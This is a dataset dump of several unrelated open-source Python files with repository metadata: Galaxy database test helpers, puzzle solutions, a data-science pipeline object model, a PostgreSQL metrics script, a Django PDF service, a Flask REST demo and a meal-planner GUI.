end of a test if use of a context manager is impractical.\n (Assume all objects have the id field as their primary key.)\n \"\"\"\n # Ensure we have a list of objects (check for list explicitly: a model can be iterable)\n if not isinstance(objects, list):\n objects = [objects]\n\n for obj in objects:\n table = obj.__table__\n stmt = delete(table).where(table.c.id == obj.id)\n session.execute(stmt)\n\n\ndef get_stored_obj(session, cls, obj_id=None, where_clause=None, unique=False):\n # Either obj_id or where_clause must be provided, but not both\n assert bool(obj_id) ^ (where_clause is not None)\n if where_clause is None:\n where_clause = _get_default_where_clause(cls, obj_id)\n stmt = select(cls).where(where_clause)\n result = session.execute(stmt)\n # unique() is required if result contains joint eager loads against collections\n # https://gerrit.sqlalchemy.org/c/sqlalchemy/sqlalchemy/+/2253\n if unique:\n result = result.unique()\n return result.scalar_one()\n\n\ndef get_stored_instance_by_id(session, cls_, id):\n statement = select(cls_).where(cls_.__table__.c.id == id)\n return session.execute(statement).scalar_one()\n\n\ndef _is_mysql(url: DbUrl) -> bool:\n return url.startswith(\"mysql\")\n\n\ndef _drop_postgres_database(url: DbUrl) -> None:\n db_url = make_url(url)\n database = db_url.database\n connection_url = db_url.set(database=\"postgres\")\n _drop_database(connection_url, database)\n\n\ndef _drop_database(connection_url, database_name):\n engine = create_engine(connection_url, isolation_level=\"AUTOCOMMIT\")\n preparer = IdentifierPreparer(engine.dialect)\n database_name = preparer.quote(database_name)\n stmt = f\"DROP DATABASE IF EXISTS {database_name}\"\n with engine.connect() as conn:\n conn.execute(stmt)\n engine.dispose()\n\n\ndef _get_default_where_clause(cls, obj_id):\n where_clause = cls.__table__.c.id == obj_id\n return where_clause\n\n\ndef _generate_unique_database_name() -> str:\n return f\"galaxytest_{uuid.uuid4().hex}\"\n\n\ndef _get_connection_url() -> Optional[str]:\n return os.environ.get(\"GALAXY_TEST_DBURI\")\n\n\ndef _make_sqlite_db_url(tmpdir: str, database: str) -> DbUrl:\n path = os.path.join(tmpdir, database)\n return DbUrl(f\"sqlite:///{path}\")\n\n\ndef _make_postgres_db_url(connection_url: DbUrl, database: str) -> DbUrl:\n url = make_url(connection_url)\n url = url.set(database=database)\n return DbUrl(str(url))\n","repo_name":"galaxyproject/galaxy","sub_path":"lib/galaxy/model/unittest_utils/model_testing_utils.py","file_name":"model_testing_utils.py","file_ext":"py","file_size_in_byte":8070,"program_lang":"python","lang":"en","doc_type":"code","stars":1194,"dataset":"github-code","pt":"62"} +{"seq_id":"11060649386","text":"# test_aoc_template.py\n\nimport pytest\nimport day6 as aoc\n\nexamples = [(\"mjqjpqmgbljsphdztnvjfqwrcgsmlb\", 7),\n (\"bvwbjplbgvbhsrlpgdmjqwftvncz\", 5),\n (\"nppdvjthqldpwncqszvftbrmjlhg\", 6),\n (\"nznrnfrfntjfmvfwmzdfjlvtqnbhcprsg\",10),\n (\"zcfzfwzzqfrljwzlrfnpqdbhtmscgvjw\",11),\n ]\n\nmsg_examples = [('mjqjpqmgbljsphdztnvjfqwrcgsmlb', 19),\n ('bvwbjplbgvbhsrlpgdmjqwftvncz', 23),\n ('nppdvjthqldpwncqszvftbrmjlhg', 23),\n ('nznrnfrfntjfmvfwmzdfjlvtqnbhcprsg',29),\n ('zcfzfwzzqfrljwzlrfnpqdbhtmscgvjw', 26),\n ]\n\n\n# @pytest.mark.skip(reason=\"Not implemented\")\ndef test_part1_examples():\n \"\"\"Test part 1 on example input.\"\"\"\n for example in examples:\n assert aoc.part1(example[0]) == example[1]\n\n# @pytest.mark.skip(reason=\"Not implemented\")\ndef test_part2_examples():\n \"\"\"Test part 2 on example input.\"\"\"\n for example in msg_examples:\n assert aoc.part2(example[0]) == example[1]\n\n@pytest.mark.skip(reason=\"Not implemented\")\ndef test_part2_example2(example2):\n \"\"\"Test part 2 on example input.\"\"\"\n assert aoc.part2(example2) == ...","repo_name":"noah-clements/AoC2022","sub_path":"day6/test_day6.py","file_name":"test_day6.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31538201849","text":"# ailever modules\nimport options\nfrom training import train\nfrom evaluation import evaluation\n\ndef main(options):\n print(f'[AILEVER] The device \"{options.device}\" is selected!')\n train(options)\n evaluation(options)\n print(f'[AILEVER] Your experiment is successfully finished!')\n\nif __name__ == \"__main__\":\n options = options.load()\n main(options)\n","repo_name":"ailever/ailever","sub_path":"storage/experiment/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"3780610929","text":"\ndef initialize_solution():\n pass\n\nimport operator\n\ndef main():\n #print(\"i\")\n \n \n\n N,K=input().strip().split(\" \")\n N=int(N)\n K=int(K)\n #copy=K\n #for i in N: \n\n num=list(map(int,input().strip().split(\" \")))\n #nums=[]\n #for i in num: \n #nums.append(int(i))\n #num=nums\n #print(num)\n #num=list(num)\n #D=True\n f=0\n \n # j=1\n # i=0\n # #while inum[j]: \n # if j-i==K: \n # f+=1\n # i+=1\n # j=i+1\n # else:\n # j+=1\n \n # else: \n # i+=1\n # j=i+1\n # #else: \n #j=i+1\n \n l=[]\n for i in range(K): \n k=i+1\n l.append(k)\n\n #print(l)\n num=num[::-1]\n #print(num)\n i=0\n j=i+K\n while j<=N: \n # print(num[i:j])\n if num[i:j]==l: \n f+=1\n i=j\n j=i+K\n else: \n i+=1\n j=i+K\n\n return f\n\n\n \n \"\"\" \n\n D=True\n #print(num[i])\n K-=1\n j+=1\n #i+=1\n continue\n else: \n i+=1\n D=False\n if K==0: \n K=copy\n #f+=1\n \"\"\"\n\n\"\"\"\n\n\n if num[i]<=num[i+1]:\n i+=1 \n D=True\n else: \n if D:\n K-=1\n D=False \n i+=1 \n else: \n i+=1\n if K==0: \n return num[i]\n\n return \"IMPOSSIBLE\"\n\"\"\"\n\n\n\n\n#OUTPUT_PREFIX = \"\"\nOUTPUT_PREFIX = \"Case #{}: \"\nINTERACTIVE = False\nINTERACTIVE_WRONG_ANSWER = \"WRONG\"\n\n#################################################### HELPERS\n\n\n\nimport sys\n\ndef read(callback=int, split=True):\n ipt = input().strip()\n if INTERACTIVE and ipt == INTERACTIVE_WRONG_ANSWER:\n sys.exit()\n if split:\n return list(map(callback, ipt.split()))\n else:\n return callback(ipt)\n\ndef write(value, end=\"\\n\"):\n if value is None: return\n try:\n if not isinstance(value, str): #checks if the object(first arg) is an instance or subclass of classinfo class(second argument)\n value = \" \".join(map(str, value))\n except:\n pass\n print(value, end=end)\n if INTERACTIVE:\n sys.stdout.flush()\n\ndef solve_testcase():\n result = main()\n if result is not None:\n write(result)\n\nif OUTPUT_PREFIX is None: # output prefix is the \n solve_testcase() # call main function \nelse:\n initialize_solution()\n\n \"\"\"\n\n \"\"\"\n\n TOTAL_CASES,= read() #always remember to modify\n\n for CASE_NUMBER in range(1, TOTAL_CASES+1):\n write(OUTPUT_PREFIX.format(CASE_NUMBER), end=\"\") #want whatevers printed and the next thing printed to be in the same line\n solve_testcase()\n\n","repo_name":"chenhuililucy/Data-structure-and-Algo-Notes","sub_path":"Kickstart/countdown.py","file_name":"countdown.py","file_ext":"py","file_size_in_byte":3076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73471569798","text":"import os, json\nfrom shutil import copyfile\nfrom jinja2 import Template\nfrom .templates import NOTEBOOK_SAMPLE, PY_SAMPLE\n\ndef create_object(path, pipeline_name, obj_type, delim=os.path.sep):\n r\"\"\"\n Create new object for the given pipeline if the given path does not exists.\n \n Args:\n path: Provide path for new pipeline object\n pipeline_name: Provide pipeline name\n obj_time: Choose from values ['pyscript','notebook','module']\n \"\"\"\n success = False\n if not os.path.exists(path):\n obj_type_lower = obj_type.lower()\n if obj_type_lower == \"module\":\n content = \"\"\n else:\n if obj_type_lower==\"pyscript\":\n template = Template(PY_SAMPLE)\n elif obj_type_lower == \"notebook\":\n template = Template(NOTEBOOK_SAMPLE)\n else:\n raise ValueError(\"Choose object_type from values ['pyscript','notebook','module']!\")\n depth = len(path.split(delim))-1\n parent_dir = \"..\" + os.path.sep\n content = template.render(rel_path=parent_dir*depth, pipeline_name=pipeline_name)\n with open(path, 'w') as f:\n f.write(content)\n success = True\n else:\n # if file exists then it would not be overwritten\n success = True\n return success\n \ndef remove_from_pipeline(objects, obj_name):\n tmp = objects.copy()\n for i, item in enumerate(objects):\n if item.name == obj_name:\n break\n del tmp[i]\n return tmp, objects[i].path\n\nclass Base():\n r\"\"\"\n Base is the abstract representation of all pipeline components. It is non configurable and only contains basic information on each object.\n \n Args:\n path: Provide path relative to the project root folder \n name (optional): Provide a reference name for this object. It must be unique among pipeline components!\n type (optional): Provide a note on the type or purpose of this object (e.g. visualization, preprocessor, data etc.)\n \"\"\"\n def __init__(self, path, name=\"\", type=\"\", is_clone=False, extensions=[]):\n self._extensions = extensions\n self.is_clone = is_clone\n self.path = path\n self.name = self._extract_name(path) if (name == \"\" or name == None) else name\n self.type = type\n \n @property\n def name(self):\n return self._name\n\n @property\n def type(self):\n return self._type\n \n @property\n def path(self):\n return self._path\n \n @name.setter\n def name(self, value):\n if \" \" in str(value):\n raise ValueError(\"Object name cannot contain spaces!\")\n self._name = value\n\n @type.setter\n def type(self, value):\n self._type = str(value)\n \n @path.setter\n def path(self, value):\n if len(self._extensions) > 0:\n ext = value.split(\".\")[-1]\n if ext not in self._extensions:\n raise ValueError(\"Invalid file extension '%s'! It must be '.%s'.\" % (str(ext), str(self._extensions)))\n #if not os.path.exists(value) and not self.is_clone:\n # print(\"FileNotFound:\", value)\n # raise FileNotFoundError(value)\n self._path = value\n \n def _extract_name(self, file_name, delim=os.path.sep):\n return \".\".join(file_name.split(delim)[-1].split(\".\")[:-1])\n \n def get(self, deps=[]):\n conf = {\"name\":self.name, \"type\":self.type, \"path\":self.path}\n conf[\"is_clone\"] = \"yes\" if self.is_clone else \"no\"\n if len(deps) > 0:\n conf[\"dependencies\"] = deps\n return conf\n \n def load(self, config):\n self.extensions = [config[\"path\"].split(\".\")[-1]]\n self.is_clone = config[\"is_clone\"] == \"yes\"\n self.name = config[\"name\"]\n self.type = config[\"type\"]\n self.path = config[\"path\"]\n \nclass Module(Base):\n r\"\"\"\n Module represents any unconfigurable pipeline components (e.g. Python module, data or API key files).\n \"\"\"\n def __init__(self, path, name=\"\", type=\"module\"):\n super(Module, self).__init__(path, name, type)\n \nclass Configurable(Base):\n r\"\"\"\n Configurable is a pipeline component with custom parameters. Its main purpose is to enable pipeline object execution with different parameters in parallel.\n \n Args:\n config (optinal): Provide parameters to the given pipeline object through a dictionary.\n \"\"\"\n def __init__(self, path, name=\"\", type=\"\", is_clone=False, config={}, extensions=[]):\n super(Configurable, self).__init__(path, name, type, is_clone, extensions)\n self.config = config\n \n @property\n def config(self):\n return self._config\n \n @config.setter\n def config(self, value):\n if not isinstance(value, dict):\n raise ValueError(\"Parameters must be stored in a dictionary!\")\n self._config = value\n \n def get(self, deps=[]):\n conf = super(Configurable, self).get(deps)\n conf[\"config\"] = self.config\n return conf\n \n def load(self, config):\n super(Configurable, self).load(config)\n self.config = config.get(\"config\",{})\n \n\n \nclass Notebook(Configurable):\n r\"\"\"\n Notebook represents Jupyter notebooks in a pipeline.\n \"\"\"\n def __init__(self, path, name=\"\", type=\"notebook\", is_clone=False, config={}, extensions=[\"ipynb\"]):\n super(Notebook, self).__init__(path, name, type, is_clone, config, extensions)\n \n def copy(self):\n return Notebook(self.path, self.name, self.type, self.is_clone, self.config)\n \nclass PyScript(Configurable):\n r\"\"\"\n PyScript represents executable Python scripts in a pipeline.\n \"\"\"\n def __init__(self, path, name=\"\", type=\"pyscript\", is_clone=False, config={}, extensions=[\"py\"]):\n super(PyScript, self).__init__(path, name, type, is_clone, config, extensions)\n \n def copy(self):\n return PyScript(self.path, self.name, self.type, self.is_clone, self.config)\n \nclass Pipeline():\n r\"\"\"\n This object is the representation of a pure Python data science pipeline. It stores components along with their parameters and dependency relations. Clones of the same object can be created with different parametrization in order to execute them in parallel during experiments.\n \n Args:\n name: Provide a name for your pipeline\n description: Provide a short description for your pipeline\n base_dir: Provide path relative to the project root folder. Needed only for scheduling!\n experiment_name: Provide an experiment name. Needed only for scheduling!\n \"\"\"\n def __init__(self, name=\"\", description=\"\", base_dir=\"\", experiment_name=\"\", verbose=False):\n self.verbose = verbose\n self.name = name\n self.experiment_name = experiment_name\n self.description = description\n self.base_dir = base_dir\n self.parts = {}\n self.file_paths = []\n self.dependencies = {}\n self.num_clones = {}\n self._default_config = {}\n \n @property\n def name(self):\n return self._name\n \n @property\n def experiment_name(self):\n return self.name if self._experiment_name == \"\" else self._experiment_name\n \n @property\n def base_dir(self):\n return self._base_dir\n \n @base_dir.setter\n def base_dir(self, value):\n #if value != \"\" and not os.path.exists(value):\n # os.makedirs(value)\n self._base_dir = value\n \n @experiment_name.setter\n def experiment_name(self, value):\n if \" \" in str(value):\n raise ValueError(\"Experiment name cannot contain spaces!\")\n self._experiment_name = value\n \n @name.setter\n def name(self, value):\n if \" \" in str(value):\n raise ValueError(\"Pipeline name cannot contain spaces!\")\n self._name = value\n \n @property\n def default_config(self):\n return self._default_config\n \n @default_config.setter\n def default_config(self, value):\n if isinstance(value, dict):\n self._default_config = value\n else:\n raise ValueError(\"Configuration must be specified in a dictionary!\")\n \n @property\n def modules(self):\n return [obj for obj in self.parts.values() if isinstance(obj, Module)]\n \n @property\n def notebooks(self):\n return [obj for obj in self.parts.values() if isinstance(obj, Notebook)]\n \n @property\n def pyscripts(self):\n return [obj for obj in self.parts.values() if isinstance(obj, PyScript)]\n \n @property\n def config(self):\n conf = {}\n conf[\"name\"] = self.name\n conf[\"experiment_name\"] = self.experiment_name\n conf[\"base_dir\"] = self.base_dir\n conf[\"description\"] = self.description\n conf[\"default_config\"] = self.default_config\n conf[\"imports\"] = [item.get() for item in self.modules]\n conf[\"notebooks\"] = [item.get(self.dependencies.get(item.name, [])) for item in self.notebooks]\n conf[\"py_scripts\"] = [item.get(self.dependencies.get(item.name, [])) for item in self.pyscripts]\n return conf\n \n def _duplicate_file(self, old_path, new_path):\n fp = str(new_path)\n if self.base_dir != \"\":\n fp = os.path.join(self.base_dir, fp)\n fp_dir, _ = os.path.split(fp)\n if len(fp_dir) > 0 and not os.path.exists(fp_dir):\n os.makedirs(fp_dir)\n if old_path != fp:\n copyfile(old_path, fp)\n # check for __init__.py files\n old_dir, old_file = os.path.split(old_path)\n if old_dir != '' and \"__init__.py\" != old_file:\n if \"__init__.py\" in os.listdir(old_dir):\n init_path = os.path.join(old_dir, \"__init__.py\")\n self._duplicate_file(init_path, init_path)\n \n def save(self, output_folder=None):\n r\"\"\"\n Save pipeline object to JSON file.\n \"\"\"\n if output_folder == None:\n output_folder = self.base_dir\n if output_folder == \"\":\n output_path = \"%s.json\" % self.name\n else:\n output_path = os.path.join(output_folder, \"%s.json\" % self.name)\n with open(output_path, 'w') as f:\n json.dump(self.config, f, sort_keys=True, indent=\" \")\n for obj in self.modules:\n self._duplicate_file(obj.path, obj.path)\n if self.verbose:\n print(\"Pipeline was SAVED\")\n return output_path\n \n def load(self, path, experiment_name=None, experiment_dir=None):\n r\"\"\"\n Load pipeline object from JSON file.\n \n Args:\n path: JSON file path\n experiment_name: Provide experiment name. Needed only for scheduling!\n experiment_dir: Provide path relative to the project root folder. Needed only for scheduling!\n \"\"\"\n ext = path.split(\".\")[-1]\n if ext.lower() == \"json\":\n with open(path) as f:\n config = json.load(f)\n self.name = config[\"name\"]\n self.experiment_name = config.get(\"experiment_name\",\"\") if experiment_name == None else experiment_name\n self.base_dir = config.get(\"base_dir\",\"\") if experiment_dir == None else experiment_dir\n self.description = config[\"description\"]\n self.default_config = config.get(\"default_config\",{})\n self.num_clones = {}\n # parse modules\n for item in config[\"imports\"]:\n mod = Module(item[\"path\"], item[\"name\"], item[\"type\"])\n self.add(mod)\n # parse notebooks\n for item in config[\"notebooks\"]:\n nb = Notebook(item[\"path\"], item[\"name\"], item[\"type\"], item[\"is_clone\"]==\"yes\", item.get(\"config\",dict()))\n self.add(nb)\n # parse scripts\n for item in config[\"py_scripts\"]:\n ps = PyScript(item[\"path\"], item[\"name\"], item[\"type\"], item[\"is_clone\"]==\"yes\", item.get(\"config\",dict()))\n self.add(ps)\n # parse dependencies\n for item in config[\"notebooks\"] + config[\"py_scripts\"]:\n deps = item.get(\"dependencies\",[])\n if len(deps) > 0:\n self.add_dependencies(item[\"name\"], deps)\n if \"CLONE\" in item[\"name\"]:\n name = item[\"name\"].split(\"_CLONE\")[0]\n if not name in self.num_clones:\n self.num_clones[name] = 0\n self.num_clones[name] += 1\n if self.verbose:\n print(\"Pipeline was LOADED\")\n else:\n raise ValueError(\"Invalid path! You must specify a JSON file.\")\n \n def add(self, obj, silent=False):\n r\"\"\"\n Add new object to the pipeline (e.g. Module, Notebook, PyScript). The new objects'a name parameter must be unique!\n \"\"\"\n obj_name = obj.name\n obj_path = obj.path\n if obj_name in self.parts:\n if not silent:\n print(\"An object with 'name=%s' is already present in the pipeline. Object names must be unique!\" % obj_name)\n else:\n self.parts[obj_name] = obj\n self.file_paths.append(obj_path)\n \n def remove(self, obj_name, with_source=False, silent=False):\n r\"\"\"\n Remove object from the pipeline.\n \n Args:\n obj_name: Provide the name of the object to be deleted\n with_source: Decide whether the source file of the object should be deleted as well\n \"\"\"\n if obj_name in self.parts:\n obj = self.parts[obj_name]\n fp = obj.path\n del self.parts[obj_name]\n to_be_deleted = isinstance(obj, Module) or not obj.is_clone\n if to_be_deleted:\n self.file_paths.remove(fp)\n # remove all dependencies of this item\n if obj_name in self.dependencies:\n del self.dependencies[obj_name]\n # remove if it was a dependency\n keys = list(self.dependencies.keys())\n for key in keys:\n if obj_name in self.dependencies[key]:\n self.remove_dependencies(key, [obj_name])\n if with_source and os.path.exists(fp):\n os.remove(fp)\n print(\"%s file was deleted!\" % fp)\n else:\n if not silent:\n print(\"There was no object with 'name=%s' found in the pipeline\" % obj_name)\n \n def add_dependencies(self, obj_name, dep_names=[], reset=False):\n r\"\"\"\n Add new dependencies between pipeline objects\n \n Args:\n obj_name: Select an object by name\n dep_names: Provide the list of object names that the selected item depends on.\n reset: Decide whether to reset former dependencies\n \"\"\"\n for name in [obj_name]+dep_names:\n if name not in self.parts:\n raise ValueError(\"'%s' name was not found in the pipeline!\" % name)\n elif self.parts[name] == \"module\":\n raise ValueError(\"Cannot set dependencies for Module (name=%s)!\" % name)\n if obj_name in self.dependencies and not reset:\n self.dependencies[obj_name] = list(set(self.dependencies[obj_name]).union(set(dep_names)))\n else:\n self.dependencies[obj_name] = dep_names\n \n def remove_dependencies(self, obj_name, dep_names=[]):\n r\"\"\"\n Delete existing dependencies between pipeline objects\n \n Args:\n obj_name: Select an object by name\n dep_names: Provide the list of object names that the selected item no longer depends on. Note that all dependencies are deleted if the list is empty.\n \"\"\"\n if obj_name in self.dependencies:\n if len(dep_names) > 0: \n for dep_name in dep_names:\n if dep_name in self.dependencies[obj_name]:\n self.dependencies[obj_name].remove(dep_name)\n if len(self.dependencies[obj_name]) == 0:\n del self.dependencies[obj_name]\n break\n else:\n del self.dependencies[obj_name]\n else:\n raise ValueError(\"No dependency was set for '%s'!\" % obj_name)\n \n def add_clone(self, obj_name, custom_config={}):\n r\"\"\"\n Add new clone item to the pipeline.\n \n Args:\n obj_name: select object to be cloned by name\n custom_config: provide custom configuration for the new clone\n \"\"\"\n if not isinstance(custom_config, dict):\n raise ValueError(\"Configuration must be specified in a dictionary!\")\n if obj_name in self.parts:\n obj_config = custom_config\n cnt = self.num_clones.get(obj_name, 0)\n postfix = \"_CLONE_%i\" % (cnt+1)\n clone = self.parts[obj_name].copy()\n clone.is_clone = True\n clone.name = obj_name + postfix\n clone.config = obj_config\n old_path = str(clone.path)\n extension = old_path.split(\".\")[-1]\n new_path = old_path.replace(\".\"+extension,postfix+\".\"+extension)\n clone.path = new_path\n self._duplicate_file(old_path, new_path)\n self.add(clone)\n self.num_clones[obj_name] = (cnt+1)\n else:\n raise ValueError(\"Invalid object name!\")\n \n def clear(self):\n r\"\"\"\n Remove all clones from the pipeline.\n \"\"\"\n # remove clones\n items = list(self.num_clones.items())\n for obj_name, cnt in items:\n for i in range(cnt):\n clone_name = \"%s_CLONE_%i\" % (obj_name, i+1)\n self.remove(clone_name, with_source=False)\n del self.num_clones[obj_name]\n # clear config\n self.default_config = {}\n for obj_name in self.parts:\n if isinstance(self.parts[obj_name], Configurable):\n self.parts[obj_name].config = {}\n","repo_name":"ferencberes/datawand-cli","sub_path":"datawandcli/components/objects.py","file_name":"objects.py","file_ext":"py","file_size_in_byte":18211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16110242230","text":"import pandas as pd\nimport psycopg2\nfrom psycopg2 import Error\n\n# Connect to an existing database\nconnection = psycopg2.connect(user='postgres',\n password='1234',\n dbname='metrics')\n# Create a cursor to perform database operations\ncursor = connection.cursor()\n\ntry:\n\n df2 = pd.read_csv('projects_patches.csv')\n projects1 = df2['project'].unique()\n print('PROJECT PATCHES CSV:')\n print(projects1)\n print(' ')\n\n # Fetch all cases that are a bug fix\n postgreSQL_select_Query = \"SELECT DISTINCT project FROM public.class\"\n cursor.execute(postgreSQL_select_Query)\n projects2 = cursor.fetchall()\n print('POSTGRESQL:')\n print(projects2)\n print(' ')\n\n df = pd.read_csv('bug_tokenizer_data.csv')\n languages = df['language'].unique()\n print('BUG TOKENIZER DATA CSV:')\n print(df['project'].unique())\n print(' ')\n print('Number of cases with bug fixes:')\n\n for language in languages:\n print(' ')\n print(language)\n lang_df = df[df[\"language\"] == language]\n projects = lang_df['project'].unique()\n for project in projects:\n print(project + ':')\n project_size = len(lang_df[lang_df[\"project\"] == project])\n print(project_size)\n\n print(' ')\n print('Number of cases with smells:')\n\n for language in languages:\n print(' ')\n print(language)\n lang_df = df[df[\"language\"] == language]\n projects = lang_df['project'].unique()\n for project in projects:\n smells_sum = 0\n postgreSQL_select_Query = \"SELECT * FROM public.class WHERE language = %s AND project = %s AND smells IS NOT NULL\"\n cursor.execute(postgreSQL_select_Query, (language, project))\n cases = cursor.fetchall()\n for case in cases:\n smells = case[13]\n for value in smells.values():\n if value:\n smells_sum += 1\n print(project + ':')\n print(smells_sum)\n\nexcept (Exception, Error) as error:\n print('Error while connecting to PostgreSQL', error)\n\nfinally:\n if connection:\n cursor.close()\n print('PostgreSQL connection is closed')\n connection.close()\n","repo_name":"orestesmkb/bugs_and_smells_tracker","sub_path":"get_amounts.py","file_name":"get_amounts.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"29094594995","text":"# -*- coding: UTF-8 -*-\nfrom django.core.files.base import ContentFile\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom easy_pdf.rendering import render_to_pdf\n\nfrom elbow.apps.document.models import Document, _document_upload_path\nfrom elbow.apps.order.apps import SECUPAY_BANK_DATA\n\nimport logging\nlogger = logging.getLogger('django.request')\n\n\nclass LoanAgreementCreatePDFService(object):\n \"\"\"\n Service that creates the more info agreement\n \"\"\"\n def __init__(self, order, user, **kwargs):\n self.order = order\n self.user = user\n\n def process(self, **kwargs):\n kwargs.update({\n 'order': self.order,\n 'project': self.order.project,\n 'user': self.user,\n 'SECUPAY_BANK_DATA': SECUPAY_BANK_DATA,\n })\n\n pdf_bytes = render_to_pdf(template='order/documents/loan_agreement.html',\n context=kwargs,\n encoding=u'utf-8')\n\n doc = Document(name='%s - %s' % (_('Loan Agreement'), self.order.customer_name),\n document_type=Document.DOCUMENT_TYPES.order,\n user=self.user)\n\n doc.document.save(_document_upload_path(doc, _('loan-agreement.pdf')),\n ContentFile(pdf_bytes))\n doc.save()\n\n self.order.documents.add(doc)\n\n return self.order\n","repo_name":"rosscdh/elbow","sub_path":"elbow/apps/order/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14803550360","text":"from flask import Flask, request\nfrom flask_restful import Api, Resource, reqparse\napp = Flask(__name__)\n\napi = Api(app)\n\nparser_core = reqparse.RequestParser(bundle_errors=True)\nparser_core.add_argument('page', required=True, type=int) # help=\"message\" help=\"incorrect type of page\"\nparser_core.add_argument('name', type=str, action='append') # without action='append'\n# - переменной name- присваивается только первое значение аргумента.\n# http://127.0.0.1:5000?page=34&page=45&page=20&name=Igor&name=Nick\n# {'page': 34, 'name': ['Igor', 'Nick']}\nparser_core.add_argument('from-header', required=True, type=int, location='headers')\nparser_core.add_argument('cookiesargs', required=True, type=int, location='cookies')\nparser_core.add_argument('bodyarg', type=int, location='form')\nparser_core.add_argument('cbargs', type=int, location=['form', 'cookies', 'args'], action='append')\n\n# Home\n\nclass CoreResource(Resource):\n def get(self):\n args = parser_core.parse_args(strict=True) # restricts other arguments ( not included in parser).\n print(args)\n return {'key1': 'value1'}, 200, {'customs_header': 'header_value'}\n\n def post(self):\n args = parser_core.parse_args(strict=True)\n print(args)\n return 'post'\n\n# company restful service\n\ncompanies = ['Amazon', 'Apple', 'Microsoft']\n\nclass Companies(Resource):\n def get(self):\n response = dict()\n for i, el in enumerate(companies):\n response[i + 1] = el\n return response\n\n def post(self, value):\n companies.append(value)\n return {'result': 'added successfully'}\n\n def put(self):\n import json\n update_dict = json.loads(request.data)\n company = update_dict.get('company')\n position = update_dict.get('position') - 1\n companies.remove(company)\n companies.insert(position, company)\n return {'result': 'updated_successfully'}\n\n def delete(self, value):\n if value in companies:\n companies.remove(value)\n return {'result': 'deleted successfully'}\n return {'result': 'value is absent'}\n\n\napi.add_resource(CoreResource, '/')\napi.add_resource(Companies, '/companies', '/companies/')\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"VladyslavPodrazhanskyi/flask_learning","sub_path":"flask2/rest_project/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70493873157","text":"import sys\nimport PySimpleGUI as sg\nfrom bs4 import BeautifulSoup\nimport requests\nimport pandas as pd\nimport openpyxl\nimport random as rand\nimport scraping as scr #webscraping file\nimport math\n\n# Improvement - checkboxes and catching errors\n \n# Add some color\n# to the window\nsg.theme('SandyBeach') \n \n# Very basic window.\n# Return values using\n# automatic-numbered keys\nlayout = [\n [sg.Text('Please enter your URL and select options')],\n [sg.Text('URL', size =(15, 1)), sg.InputText()],\n [sg.Text('Lunch/Dinner', size =(15, 1)), sg.InputText()],\n #[sg.Checkbox('Dinner', default=True, enable_events=True, k='-Dinner-')],\n #[sg.Checkbox('Lunch', default=True, enable_events=True, k='-Lunch-')],\n [sg.Text('Nr meals to plan', size =(15, 1)), sg.InputText()],\n [sg.Submit('Submit'), sg.Cancel('Cancel')]\n]\n \nwindow = sg.Window('Simple data entry window', layout)\nevent, values = window.read()\n\n#dinner_flag = True\n#lunch_flag = True\nurl, reply, number_meals = values[0], values[1], values[2]\nprint(url, number_meals)\n\ndef main():\n print(\"running main\")\n recipes = scr.scrape(input_url, number_meals)\n # using number_meals\n\n # randomize list of recipes in-place\n print(\"Shuffling your recipes..\")\n rand.shuffle(recipes)\n\n\n # work only with desired nr of recipes\n desired_recipes = recipes[:number_meals]\n weekdays = [\"Mon\", \"Tues\", \"Wedn\", \"Thurs\", \"Fri\", \"Sat\", \"Sun\"]\n cols = weekdays[:math.ceil(len(desired_recipes)/2)]\n lunch_recipes = []\n dinner_recipes = []\n lunch_names = []\n dinner_names = []\n\n print(\"Generating your spreadsheet...\")\n\n if (dinner and not lunch):\n # we only need one row filled in this case\n dinner_recipes = desired_recipes\n lunch_names = ['' for m in dinner_recipes]\n dinner_names = [rcp.name for rcp in dinner_recipes]\n cols = weekdays[:len(dinner_names)]\n\n elif (lunch and not dinner):\n lunch_recipes = desired_recipes\n dinner_names = ['' for m in lunch_recipes]\n lunch_names = [rcp.name for rcp in lunch_recipes]\n cols = weekdays[:len(lunch_names)]\n\n else: # we have both so we split it\n index = math.floor(len(desired_recipes)/2)\n lunch_recipes = desired_recipes[index:]\n dinner_recipes = desired_recipes[:index]\n lunch_names = [rcp.name for rcp in lunch_recipes]\n dinner_names = [rcp.name for rcp in dinner_recipes]\n if len(lunch_names) > len(dinner_names):\n dinner_names.append(\" \")\n elif len(dinner_names) > len(lunch_names):\n lunch_names.append(\" \")\n\n\n # create dataframe to use in excel sheet\n df = pd.DataFrame([lunch_names, dinner_names],\n index=[\"Lunch\", \"Dinner\"], columns = cols )\n\n # it's not the most beautiful excel sheet, but it does the job\n df.to_excel('my_meal_plan.xlsx')\n print(\"Your excel sheet is ready!\")\n\n # recipe list, mainly for ingredients (like a shopping list)\n print(\"Writing your ingredient list...\")\n ingredients = open(\"ingredients_by_recipe.txt\", \"w\")\n for recipe in desired_recipes:\n ingredients.write(recipe.name + \"\\n\")\n ingredients.write(\"url: {} \\n\\n\".format(recipe.url))\n for ing in recipe.ingredients:\n ingredients.write(ing + \"\\n\")\n ingredients.write(\"------\" + \"\\n\")\n print(\"Your ingredient list is ready!\")\n print(\"The files can be found in the same directory as the python files\")\n # if event == \"-Dinner-\":\n # dinner_flag = not dinner_flag\n # print(\"Dinner\", dinner_flag)\n\n # if event == \"-Lunch-\":\n # lunch_flag = not lunch_flag\n # print(\"Lunch:\", lunch_flag)\n\nwhile True:\n if event == sg.WIN_CLOSED or event == 'Cancel':\n break\n elif event == 'Test':\n main()\n break\n\nwindow.close()\n \n# # The input data looks like a simple list \n# # when automatic 